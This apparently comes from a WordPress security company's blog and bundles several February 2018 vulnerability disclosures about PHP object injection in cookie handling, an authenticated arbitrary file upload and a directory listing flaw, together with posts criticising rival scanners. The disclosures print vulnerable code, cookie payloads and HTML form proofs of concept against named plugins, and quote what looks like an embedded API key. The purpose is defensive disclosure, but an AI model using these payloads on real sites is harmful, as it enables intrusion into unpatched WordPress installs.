16 Feb

Our Proactive Monitoring Caught a PHP Object Injection Vulnerability in a Fairly Popular Plugin

One of the ways we help to improve the security of WordPress plugins, not just for our customers, but for everyone using them, is the proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. That again has lead to us catching a vulnerability in a fairly popular plugin, of a type that hackers are likely to exploit if they know about it. Since the check used to spot this is also included in our Plugin Security Checker (which  is now accessible through a WordPress plugin of its own), it is another of reminder of how that can help to indicate which plugins are in greater need of security review (for which we do as part of our service as well as separately).

In the plugin WP Support Plus Responsive Ticket System, which has 10,000+ active installations according to wordpress.org, as of  version 9.0.3, the value of cookies were passed through the unserialize() function, which could lead to PHP object injection. Two of the instances that occurred were in the function get_current_user_session() (in the file /includes/class-wpsp-functions.php):

1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
public function get_current_user_session(){
 
	global $current_user;
				$wpsp_user_session = array();
				if( is_user_logged_in() ){
						$wpsp_user_session = array(
								'type'  => 1,
								'name'  => $current_user->display_name,
								'email' => $current_user->user_email
						);
 
						if (isset($_COOKIE['wpsp_user_session'])){
			$wpsp_user_session_temp = unserialize(base64_decode($_COOKIE['wpsp_user_session']));
			if($wpsp_user_session_temp['email'] != $wpsp_user_session['email'] ){
				@setcookie("wpsp_user_session", base64_encode(serialize($wpsp_user_session)), 0, COOKIEPATH);
			}
		} else {
			@setcookie("wpsp_user_session", base64_encode(serialize($wpsp_user_session)), 0, COOKIEPATH);
		}
 
				} else if (isset($_COOKIE['wpsp_user_session'])) {
						$wpsp_user_session = unserialize(base64_decode($_COOKIE['wpsp_user_session']));

When not logged in, if the cookie “wpsp_user_session” exists it will be unserialized after being base64 decoded.

That function is called numerous times including in the function check_login() (in the file /includes/frontend/class-wpsp-frontend.php):

86
87
88
89
90
function check_login(){
 
		global $wpdb, $wpsupportplus, $current_user;
 
		$wpsp_user_session = $wpsupportplus->functions->get_current_user_session();

That in turns is called anytime WordPress is loaded due to it running during init():

22
add_action( 'init', array($this,'check_login') );

So by simply visiting any page on the website with a cookie set a value that causes PHP object injection this vulnerability could have been exploited.

After we notified the developer, they initially responded five days later that the vulnerability had been fixed in version 9.0.3, which had been released five days before we contacted them. Four days later they released version 9.0.4, which resolve the vulnerability by replacing the usage of unserialize() with json_decode() (and related usage of serialize() with json_encode()).

The Plugin Security Checker has flagged other possible issues in the plugin, so those using the plugin may want to have someone do a thorough review of the plugin’s security.

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, set the value of the cookie “wpsp_user_session” to “TzoyMDoicGhwX29iamVjdF9pbmplY3Rpb24iOjA6e30=” and then when you visit any page on the website the message “PHP object injection has occurred.” will be shown.

Timeline

  • February 7, 2018 – Developer notified.
  • February 12, 2018 – Developer responds that the vulnerability had been fixed in version 9.0.3 (which was released five days before we contacted the developer).
  • February 16, 2018 –  Version 9.0.4 released, which fixes vulnerability.
15 Feb

A Doubly Bad Way to Check if Your WordPress Website Uses Plugins With Known Vulnerabilities

One of the many problems with the security industry is the use of ineffective solutions to tackle various tasks when much more effective solutions are readily available. While some of the usage of those less effective solutions may be necessary due the particulars of a situation, it seems that most usage is due to people providing security products and services despite not having a great grasp of security and the ability to make more money using those less effective solutions (at the expense of the customer getting a bad result). The way that leads to more money can come from getting sales for a product a service over others by making them sound more impressive than the more effective solution, which we will get to an example of in a bit, or by promoting the less effective solution as being a cheaper, but equally effective solution, when it really isn’t even close to being as effective.

When it comes to checking if a WordPress website is using plugins that contain known vulnerabilities the method used for our service is very effective. When we come across a report of a vulnerability (or in many cases become aware of one without a report having been released) in a plugin, we test things out to make sure that the vulnerability has existed and determine which versions of the plugin are impacted. We then add that info to our data set that can then be accessed through an API by the companion plugin for our service.

The companion plugin collects information on the plugins that are installed on the website along with the versions numbers of those plugins. That information is then sent to our website and any vulnerabilities that are in the current version or in other versions can be returned and then displayed or emailed by the companion plugin. That means that in seconds a check can be done and it can be easily repeated over and over (you can have the check done as often as every hour).

Live Testing

As example of a less effective solution that we would imagine sounds more impressive than that, take the Detectify service that we mentioned back in September, which was promoted with the following:

Detectify is a web security service that simulates automated hacker attacks on your website, detecting critical security issues before real hackers do.

While that may sound impressive, in reality it seems like really ineffective way to check for known vulnerabilities in WordPress plugins. Many WordPress plugin vulnerabilities being disclosed involve an action being taken by an Administrator, so to test for those things the service would need to have full access to the website, introducing additional security risk. Plenty of vulnerabilities have a persistent impact, so it seems like you wouldn’t want to have them tested for on a live website. For example, the other day we detailed an authenticated arbitrary file deletion vulnerability. To test that out, the service would have try to delete a file, so either the service is going to be delete a file intended to be on the website or it will need the ability to create a new file to delete.

Doing that testing on the website is going to take a lot more time then what is done with our service and it doesn’t look like that service is designed for continuous checking.

Another limitation of that service is that it has a fairly limited number of WordPress vulnerabilities it checks for, in fact it looks like we have more vulnerabilities in our data set than they check for in all types of software.

Making all that worse, if you are only interested in checking a WordPress website then that the service is going to cost you a lot more than ours. If you want to scan for things that require authentification the price is 10 and half times more than our service (and six times as much without authenticated checking).

WPScan and Burp WP

Recently we came across someone suggesting another route for checking a WordPress website for known plugin vulnerabilities, which lead to us writing this post:

I recently came across Burp WP, a WordPress scanning plugin for Burp Suite. It’s similar to WPScan, and uses the WPScan Vulnerability Database as its source of vulnerabilities. If you already use Burp for vulnerability scanning, then it’s nice to be able to include Burp WP to deep-dive into a WordPress site, without having to run WPScan separately.  I’ll be installing it on Monday to give it a test shortly after updating my sites to WordPress 4.9.3.

Neither of those tools will actually do a deep-dive into a WordPress website, since they work from the outside. That is one the two reasons they are bad for checking the plugins for known vulnerabilities.

One way those types of tools can check what plugins are in use is to look for references to them in frontend pages on the website. That approach is going to miss a lot of plugins since many don’t have anything that shows up there. The other would be to request the readme.txt files for each plugin (or some other file or maybe a directory) to see what ones are installed. So either you are likely to be missing a lot of plugins or you are going to making 100s or 1,000s of requests (depending on how many plugins there are in the data set of known vulnerabilities). In some cases one of those approaches could get you the version number of the plugin, but it won’t always, so you are not always going to be sure without further checking if the vulnerability impacts the version being used. Like the other solution, continuous checking is going to be difficult.

The second problem is the data source that is being checked against with those tools, the WPScan Vulnerability Database. That data source has one big positive, its data is accessible for free, but it also has a lot of negatives. Seeing as tools like that are promoted as being used by security professionals, you would expect that a lot times they are being used in instances where fees are being charged that would allow for using higher quality data than what is available for free.

You can look back at our past posts discussing the negatives aspects of that data, but to give you a quick idea let’s give you two recent example of the issues that we have found.

Just a couple of days ago in the context of a false claim that you won’t miss out vulnerabilities if you rely on WPScan Vulnerability Database, we noted a couple of recent examples of it missing vulnerabilities it really shouldn’t have. One of them was a vulnerability that was disclosed in early January, which had been being exploited before it was fixed. The other was a vulnerability we disclosed in late November that likely is being exploited and that has yet to be fixed. Those both seem like the kinds of vulnerabilities you would want to know about, but if you relying on that data source you wouldn’t (those are far from the only ones).

A very recent example involves a vulnerability disclosed in the plugin Bookly Lite less than a week ago. Here is the WPScan Vulnerability Database entry for that:

The problem with that is that not only was the vulnerability not fixed in version 14.5, it wasn’t even fixed as of the when that entry was added and last updated.

Before that vulnerability was even in that data set we had already tested out the vulnerability, determined the vulnerable versions, determined that it hadn’t been fixed, added it to our data set, and contacted the developer to let them know it wasn’t fixed. We have yet to hear back from them, but earlier today the vulnerability was fixed (though in a less than ideal way).

So with that data source you really need to double check to see if the vulnerabilities have been fixed since the data isn’t reliable in that regard, which with our service we have already done for you.

15 Feb

Our Proactive Monitoring Caught a PHP Object Injection Vulnerability in Swift Help Desk Support Software Ticketing System

One of the ways we help to improve the security of WordPress plugins, not just for our customers, but for everyone using them, is the proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. That again has lead to us catching a vulnerability of a type that hackers are likely to exploit if they know about it. Since the check used to spot this is also included in our Plugin Security Checker (which  is now accessible through a WordPress plugin of its own), it is another of reminder of how that can help to indicate which plugins are in greater need of security review (for which we do as part of our service as well as separately).

In the plugin Swift Help Desk Support Software Ticketing System (Help Desk & Knowledgebase Software) the value of a cookie is passed through the unserialize() function, which could lead to PHP object injection. That occurs in two shortcodes accessed functions in the plugin. One of them being swift_helpdesk_support_callback(), which is located in the file /sections/shd-shortcodes.php. Some ways into the function it checks if the cookie “sc_lead_scoring” exists and then unserializes its value:

164
165
if (isset($_COOKIE['sc_lead_scoring']) && !empty($_COOKIE['sc_lead_scoring'])) {
	$sc_lead_scoring_cookie = unserialize(stripslashes($_COOKIE['sc_lead_scoring']));

Even if the shortcodes that cause those functions to run are not used on the website, any one logged in to WordPress could access them, like they can shortcodes in general, through WordPress AJAX functionality and the vulnerability is also exploitable that way as well.

We notified the developer of the issue a week ago. We haven’t heard back from them and no new version has been released to fix the issue. In line with our disclosure policy, which is based on the need to provide our customers with information on vulnerabilities on a timely basis, we are now disclosing this vulnerability.

The Plugin Security Checker has flagged other possible issues in the plugin, so those using the plugin may want to have someone do a thorough review of the plugin’s security.

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, set the value of the cookie “sc_lead_scoring” to “O:20:”php_object_injection”:0:{}” and then when you visit a page on the website using the “swift_helpdesk_support” shortcode the message “PHP object injection has occurred.” will be shown.

Timeline

  • February 8, 2017 – Developer notified.
15 Feb

Our Proactive Monitoring Caught an Authenticated PHP Object Injection Vulnerability in Autoship Cloud

One of the ways we help to improve the security of WordPress plugins, not just for our customers, but for everyone using them, is the proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. That sometimes leads to us catching a vulnerability of a more limited version of one of those serious vulnerability types, which isn’t as much concern for the average website, but could be utilized in a targeted attack. That happened with the authenticated PHP object injection vulnerability we found in the plugin Autoship Cloud. This vulnerability could have allowed an attacker that had access to a WordPress account that has access to admin pages, which would normally be Subscriber level users and above, to exploit a PHP object injection vulnerability.

Since the check used to spot this is also included in our Plugin Security Checker (which  is now accessible through a WordPress plugin of its own), it is another of reminder of how that can help to indicate which plugins are in greater need of security review (for which we do as part of our service as well as separately).

The vulnerability occurred in the function autoship_get_messages(). That function passed the base64 decoded value of the cookie “autoship_messages” through the unserialize() function, which could lead to PHP object injection:

3
4
5
6
7
function autoship_get_messages() {
	if ( empty( $_COOKIE['autoship_messages'] ) ) {
		return array();
	}
	$messages = unserialize( base64_decode( $_COOKIE['autoship_messages'] ) );

One of the locations that function gets called is in the function autoship_print_messages():

44
45
46
47
48
49
function autoship_print_messages() {
	if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
		return;
	}
 
	$messages = autoship_get_messages();

That function runs when admin notices are shown:

68
add_action( 'admin_notices', 'autoship_print_messages' );

After we notified the developer of the plugin they released version 1.0.14, which fixes the vulnerability. Though in a reminder that you can’t rely on changelogs to let you know if a new version of a plugin includes a security fix, the only changelog entry for that version is “Bug fixes.”. The only change made though was to fix the vulnerability. That was done by replacing the use of unserialize() with json_decode():

7
$messages = json_decode( base64_decode( $_COOKIE['autoship_messages'] ) );

and elsewhere in the same file, replacing related usage of serialize() with json_encode():

39
$messages_cookie = base64_encode( json_encode( $messages ) );

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, set the value of the cookie “autoship_messages” to “TzoyMDoicGhwX29iamVjdF9pbmplY3Rpb24iOjA6e30=” and then when you visit an admin page on the website the message “PHP object injection has occurred.” will be shown.

Timeline

  • February 12, 2018 – Developer notified.
  • February 12, 2018 – Developer responds.
  • February 15, 2018 – Version 1.0.14  released, which fixes vulnerability.
14 Feb

A Recently Closed Plugin Contains a Vulnerability That Allows Anyone Logged in to WordPress to View Directory Listings

Today we had somebody contact us asking if we had any insight in to why the plugin WordPress Backup to Dropbox was removed from the Plugin Directory (after seeing one of yesterday’s posts). Our guess on that would be that it has to do with the plugin no longer working, but while doing a quick look over the plugin we did find a vulnerability in it that allows anyone logged in to WordPress to view a list of files and directories in a directory on the server they specify.

The plugin makes the function backup_to_dropbox_file_tree() accessible to anyone logged in to WordPress through WordPress’ AJAX functionality:

376
add_action('wp_ajax_file_tree', 'backup_to_dropbox_file_tree');

That function will load up the file /Views/wpb2d-file-tree.php:

155
156
157
158
159
function backup_to_dropbox_file_tree()
{
    include 'Views/wpb2d-file-tree.php';
    die();
}

That file will list the files and directories located in specified directory on the server (as specified by the POST input “dir”).

Proof of Concept

The following proof of concept will return a listing of the files and directories in the root directory of the WordPress install, when logged in to WordPress. The contents of the resulting are hidden using “display: none” styling, so you either need to remove that styling or view the page’s source to see the results.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=file_tree" method="POST">
<input type="hidden" name="dir" value="../" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
14 Feb

Our Proactive Monitoring Caught a PHP Object Injection Vulnerability Returning to a Fairly Popular Plugin

One of the ways we help to improve the security of WordPress plugins, not just for our customers, but for everyone using them, is the proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. That again has lead to us catching a vulnerability in a fairly popular plugin, of a type that hackers are likely to exploit if they know about it. In this case the vulnerability is much worse because it was previously fixed, so some hacker could still be trying to exploit it based on the previous instance of it. Since the check used to spot this is also included in our Plugin Security Checker (which  is now accessible through a WordPress plugin of its own), it is another of reminder of how that can help to indicate which plugins are in greater need of security review (for which we do as part of our service as well as separately).

Back in September we noticed that PHP object injection vulnerability had been fixed the plugin Welcart e-Commerce, which has 10,000+ active installations according to wordpress.org (who had discovered vulnerability that wasn’t disclosed). That had been fixed by replacing the usage of unserialze() with json_decode() in version 1.9.4. The relevant line had previously looked like this (in the file /classes/usceshop.class.php):

$values = isset($_COOKIE[$key]) ? unserialize(stripslashes($_COOKIE[$key])) : NULL;

And was replaced with this:

$values = isset($_COOKIE[$key]) ? json_decode(stripslashes($_COOKIE[$key]), true) : NULL;

Then in version 1.9.5 it got changed to:

$values = isset($_COOKIE[$key]) ? usces_unserialize(stripslashes($_COOKIE[$key])) : NULL;

That function usces_unserialize() used there is as follows:

2498
2499
2500
2501
2502
2503
2504
2505
2506
function usces_unserialize( $data ) {
	if( is_serialized( $data ) ) {
		return @unserialize( $data );
	}
	if( is_array( $data ) ) {
		return $data;
	}
	return @json_decode( $data, true );
}

With that, if the value passed to the function is serialized then the value is unserialized. Since PHP object injection involves untrusted serialized data being unserialized, that code allows for PHP object injection again. This can easily be exploited because that code runs when visiting any frontend page of the website.

Since the vulnerability could be already be being exploited due to the previous instance of it, we are disclosing this without giving the developer a chance to fix it first, since we have a responsibility to warn our customers as soon as possible (and we don’t want to leave others without the ability to know about this and we don’t want to allow hackers to use our service to become aware of otherwise undisclosed vulnerabilities).

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, set the value of the cookie “usces_cookie” to “O:20:”php_object_injection”:0:{}” and then when you visit any front end page the message “PHP object injection has occurred.” will be shown.

Timeline

  • February 14, 2018 – Developer notified.
13 Feb

Actually MainWP, You Will Miss out on Vulnerabilities if You Rely on the WPScan Vulnerability Database

The marketing of security products and services often consists of misleading or outright false claims, which isn’t all that surprising considering how awful the security industry is.  One thing we have seen being misleadingly used fairly often is the phrase real-time, which often is used in way that make it sounds like a much higher level of service is being provided.

As example of that involving our area of focus, we recently ran across MainWP, a service for managing multiple WordPress websites, promoting an extension for their service that accesses data from the WPScan Vulnerability Database with this claim:

  • The Vulnerability database updates itself real-time so you don’t miss out on any vulnerabilities.

While it is true that data source updates in real-time that doesn’t mean that you won’t miss out vulnerabilities, because the real-time part is that you can access data on vulnerabilities in real-time after they are added to that data source. They first have to be added though, so what would matter is how long it takes for them to be added or if they are added at all. That is something MainWP doesn’t address there and we would guess they probably didn’t bother to look into it (it wouldn’t be the first someone made an inflated claim about the WPScan Vulnerability Database without knowing what they are talking about).

The reality is that in some cases a non real-time updated data source for plugin vulnerability data provides data that is missing entirely from the WPScan Vulnerability Database. That being the companion plugin for our service, for which we include data on vulnerabilities that appear to be being exploited, so that even those not using our service yet can be warned about them.

Two recent vulnerabilities missing from their data, but in our plugin, are good examples of how WPScan’s data is less than ideal and really should be paired with our plugin (or even better, just use our service).

On January 4 NinTechNet disclosed that they had seen an arbitrary file upload vulnerability in the plugin LearnDash LMS being exploited and that it had been fixed after they notified the developer. That didn’t seem to be an isolated situation as we were in contact with someone shortly after that whose website was likely had exploited through that vulnerability well.

That would seem to be an important vulnerability to warn about, but more than a month later it still hasn’t been added to the WPScan Vulnerability Database. By comparison our plugin has been warning about it since January 9 (and our service before that). Because that data comes with the plugin, our plugin would need to be updated to be warn about that, but if you are not keeping plugins up to date, you are going to have larger security issues.

On November 27 we disclosed an arbitrary file upload vulnerability in the plugin PHP Event Calendar.  We had noticed that after seeing someone probing for usage of the file the vulnerability existed in, on our website the day before, so it is likely that vulnerability is being exploited as well.

Two and half months later, during which we have seen additional probing for the plugin in third-party data we monitor, the vulnerability still hasn’t been added to the WPScan Vulnerability Database. It was added to our plugin’s data the same day we disclosed it (and added to our services data then as well). That vulnerability hasn’t been fixed, so simply keeping plugins up to date would not protect you from it.

Those examples stick out, not just because the vulnerabilities were being exploited, but because it would be so easy for the people behind the WPScan Vulnerability Database to make sure to include those, since all they would have to do is monitor changes being made to our plugin. It therefore probably isn’t all that surprising to hear that their database is also missing a lot of other vulnerabilities as well. For example, when we did a comparison of  new vulnerabilities added to the data set for our service versus WPScan’s during the month of June last year, we found that we had added three times as many vulnerabilities. There are other serious issues with their data, which we have discussed in the past.

Another thing to keep in mind, when it comes to real-time claims, is that they also depend on how often the source is being checked. MainWP doesn’t provide any information on how often their extension checks things, but with our service you can check as often as hourly to see if there are any vulnerabilities in the versions of plugins you are using.

This isn’t the only incident where something marketed as real-time has left a lot to be desired when it comes to plugin vulnerabilities, as back in June of 2016 we discussed Wordfence’s apparent lack of knowledge of numerous probable zero-day vulnerabilities despite the claims they make about their Real-Time Threat Defense Feed.

13 Feb

Our Proactive Monitoring Caught an Authenticated Arbitrary File Upload Vulnerability in Church Admin

One of the ways we help to improve the security of WordPress plugins, not just for our customers, but for everyone using them, is the proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. That sometimes leads to us catching a vulnerability of a more limited version of one of those serious vulnerability types, which isn’t as much concern for the average website, but could be utilized in a targeted attack. That happened with the authenticated arbitrary file upload vulnerability we found in the plugin Church Admin. This vulnerability could have allowed someone that has access to a WordPress account that can access the admin area (which would normally be any user, Subscriber-level and above) to upload a malicious file to the website, which could they use to take additional actions on with the website.

Since the check used to spot this is also included in our Plugin Security Checker (which  is now accessible through a WordPress plugin of its own), it is another of reminder of how that can help to indicate which plugins are in greater need of security review (for which we do as part of our service as well as separately).

The vulnerability occurred in the function church_admin_bible_reading_plan(), which is located in the file /app/app-admin.php and would save any type of file sent with a request to the current year/month’s directory inside of the /wp-content/upload/ directory:

function church_admin_bible_reading_plan()
{
 global $wpdb;
 echo'<h2 class="plan-toggle">'.__('Which Bible Reading plan? (Click to toggle)','church-admin').'</h2>';
 
 echo'<div class="bible-plans" style="display:none">';
 echo '<p>'.__('The Bible reading post type for a particular day takes priority over any plan loaded below','church-admin').'</p>';
 if(!empty($_POST['save_csv']))
 {
 if(!empty($_FILES) && $_FILES['file']['error'] == 0)
 {
 $wpdb->query('TRUNCATE TABLE '.CA_BRP_TBL);
 $plan=stripslashes($_POST['reading_plan_name']);
 update_option('church_admin_brp',$plan);
 $filename = $_FILES['file']['name'];
 $upload_dir = wp_upload_dir();
 $filedest = $upload_dir['path'] . '/' . $filename;
 if(move_uploaded_file($_FILES['file']['tmp_name'], $filedest))echo '<p>'.__('File Uploaded and saved','church-admin').'</p>';

That function gets called in the function church_admin_app() if the website has a license number for the companion app set up:

function church_admin_app()
{

	//initialise
	global $wpdb;
	echo'>h1<Church Admin App Admin>/h1<';
	
	
	$licence=get_option('church_admin_app_licence');
	
	if(empty($licence)||$licence!=md5('licence'.site_url()))
	{
	
		//no licence yet
		echo '>div id="iphone" class="alignleft"<>iframe src="'.plugins_url('/app/demo/index.html',dirname(__FILE__) ).'" width=475 height=845 class="demo-app"<>/iframe<>/div<';
		
		if(!empty($_POST['app-licence']) && $_POST['app-licence']==md5('licence'.site_url()))
		{
			update_option('church_admin_app_licence',md5('licence'.site_url()));
			update_option("church_admin_app_id",intval($_POST['app-id']));
			update_option("church_admin_app_home",">h2<Welcome>/h2<");
			update_option("church_admin_app_giving",">h2<Giving>/h2<");
			update_option("church_admin_app_groups",">h2<Small groups>/h2<");
update_option("church_admin_app_api_key","AAAA50JK2is:APA91bE-SZWcUncaSxdbevuGOdochq7zS2fgJabNBAmbqBnmR8Lq4BoaQwG_p-JM2Ftx5rAKInlnG5RmxhWW_LcOPW9A9cQqpg7tUA1GFi1-NvX2q5YbFqnM9ZmV5xuE0PfeRWFUL1d4Te4zwzpu5qglwzZpg_JWzg");
	
		}
		
		echo'>h3<'.__('If you have subscribed, please fill in this form to activate','church-admin').'>/h3<>form action="" method="post"<>table<>tr<>th scope="row"<'.__('App Licence Key','church-admin').'>/th<>td<>input type="text" name="app-licence"/<>/td<>/tr<>tr<>th scope="row"<App ID>/th<>td<>input type="text" name="app-id"/<>/td<>/tr<>tr<>td colspacing=2<>input type="submit" value="'.__('Activate','church-admin').'"/<>/td<>/tr<>/table<>/form<';
		
		church_admin_app_signup();
		
		echo'>h3<'.__('Try out the app...','church-admin').'>/h3<>p<
>a href="https://itunes.apple.com/gb/app/wp-church/id1179763413?mt=8"<'.__('Install app on your iPhone now','church-admin').'>/a< and >a href="https://play.google.com/store/apps/details?id=com.churchadminplugin.wpchurch"<Android>/a<>/p<';

	}
	else
	{
		
		church_admin_app_content();
		church_admin_app_member_types();
		church_admin_bible_reading_plan();

An attacker can set that up that license number from the page shown if that hasn’t already been set up. They don’t even need to sign up for the service, as the value is just the md5 value of the website’s site_url:

11
if(empty($licence)||$licence!=md5('licence'.site_url()))

The function church_admin_app() is in turn accessible from the function church_admin_main() (located in the file /index.php):

914
case 'app': require_once(plugin_dir_path(__FILE__).'app/app-admin.php');church_admin_app();break;

Which is accessible to anyone with the “read” capability:

789
add_menu_page('church_admin:Administration', __('Church Admin','church-admin'),  'read', 'church_admin/index.php', 'church_admin_main');

We notified the plugin’s developer of the issue yesterday and they made changes that while not ideal, do fix the vulnerability. The function church_admin_bible_reading_plan() has now been restricted to those with the ability to “manage_options” (it seems that would be better suited to be a restriction placed in the function church_admin_app() though), which would normally limit it to only Administrators:

678
679
680
681
682
683
function church_admin_bible_reading_plan()
{
	global $wpdb;
	$current_user = wp_get_current_user();
 if(is_user_logged_in()&& current_user_can('manage_options'))
 {

In that function there has also been a nonce check added, which would prevent cross-site request forgery (CSRF), and a check of what type of files has been uploaded:

691
692
693
694
695
if(!empty($_POST['save_csv'])&& check_admin_referer( 'bible_upload', 'nonce' ) )
{
	$mimes = array('application/vnd.ms-excel','text/plain','text/csv','text/tsv');
	if(!empty($_FILES) && $_FILES['file']['error'] == 0 && in_array($_FILES['file']['type'],$mimes))
	{

The [‘type’] attribute of $_FILES is user specified so it shouldn’t be used a security check, but in this case, properly limiting the upload to Administrators and protecting against CSRF is enough protection.

There are some other upload functions in the plugin that could use a close check to make sure they are properly secured (something we mentioned to the developer).

Proof of Concept

The following proof of concept will upload the selected file to the current year/month’s directory inside of the /wp-content/upload/ directory, when logged in to WordPress and the license number set for the companion app set.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=church_admin%2Findex.php&action=app" method="POST" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="save_csv" value="Submit" />
</form>
</body>
</html>

Timeline

  • February 12, 2018 – Developer notified.
  • February 12, 2018 – Developer responds.
  • February 12, 2018 – Version 1.2540 release, which fixes vulnerability.
13 Feb

This Might Be Why Woocommerce CSV Import Was Removed From the WordPress Plugin Directory

When it comes to improving the security of WordPress one the easiest things to do would be to start alerting when websites are using plugins that have been removed from the Plugin Directory for security issues. We have been trying to get that to happen for over five years, but the WordPress team has continued to fail to do that, while claiming they are “working on it”. Recently the Wordfence Security plugin has started to warn when removed plugins are in use, which has led to more people realizing they are using removed plugins, but leaving them not knowing why the plugin was removed as there are other reasons for removal. That isn’t all the helpful as can be seen by the company behind that plugin touting this feature with a quote from a person that left a plugin with intentionally malicious code in it on their websites after it was removed from the Plugin Directory multiple times. Instead of Wordfence getting behind the effort to get this issue properly resolved, they would rather promote people being reliant on their plugin for incomplete information on removed plugins, while sometimes providing those using their plugin with outright false information about the situation with a removed plugin.

One place people have been looking for answers is the WordPress Support Forum, but unfortunately that is in as bad as shape as the handling of security by the WordPress team. Several months ago we left a comment correcting a misunderstanding of a comment from someone from the Plugin Directory as to whether a removed plugin contained a security issue and our comment was promptly deleted and the topic closed. So you are not going to be able to rely on getting accurate information there until the moderation of the forum is fixed.

In light all that we thought it would helpful to put out posts when we become aware of a possible explanation of why plugins are removed. If you are aware of a plugin that has been removed where there isn’t a possible explanation available yet please get in touch with us, so that we can look in to the situation.

Through the monitoring we do to keep track of vulnerabilities in WordPress plugins for our service we noticed that the developer of the plugin Woocommerce CSV Import had indicated that a vulnerability had been fixed in it and when we went look into that we noticed the plugin was removed.

As describe in more detail in our vulnerability details post about that vulnerability, back on January 27 a new version of the plugin was committed to the Subversion repository that underlies the Plugin Directory, which fixed a vulnerability that allowed anyone logged in to WordPress to delete arbitrary files on the website. Since WooCommerce normally allows customers to create WordPress accounts, that vulnerability could be exploited more widely than most vulnerabilities that required the exploiter to be logged in to WordPress.

It seems likely that was what caused the plugin to be removed from the Plugin Directory.

Since a fixed version has been submitted to the Subversion repository that underlies the Plugin Directory, it is possible to get access to that if you are familiar with how to work with that. If you can’t do that, deactivating the plugin will make the vulnerability inaccessible.

Protecting Yourself Against Known Vulnerable Plugins

At this time, even if you deleted any plugins once it got removed from the Plugin Directory you could still be using plugins that have publicly disclosed vulnerabilities. That is due to the fact the no one on the WordPress team is out there making sure they pull plugins once vulnerabilities are disclosed in them and no one else notifies of them of that situation on a systematic basis. In the past we had been doing that, but we suspended doing that until WordPress finally puts forward a concrete plan to warn people about removed plugins and a concrete plan to reform the moderation of the Support Forum, so that the public can get accurate information on security from there and people trying to get vulnerabilities fixed stop getting harassed.

In the meantime installing the companion plugin for our service will get you alerted if you are using plugin that has a vulnerability that is being exploited. With our service not only will you get alerted about all vulnerabilities that we are aware of (which is many more than other providers), but we are available to assist you in determining what is the best option if you are using a plugin with an unfixed vulnerability. In many cases we can provide you with a temporary workaround so that you can continue to use the plugin until the plugin is fixed for everyone (we always try to work with developer to get their plugins fixed as well) or until you can move to another solution. In a situation like this, were there is a fixed version put out, but that you can’t update to it through the normal process, we can help our customers to apply the update as well.

Our service also allows you suggest/vote for plugins to receive a security review from us, so you can find out if the plugins you are using are secure before someone with bad intentions might find a vulnerability in one of them.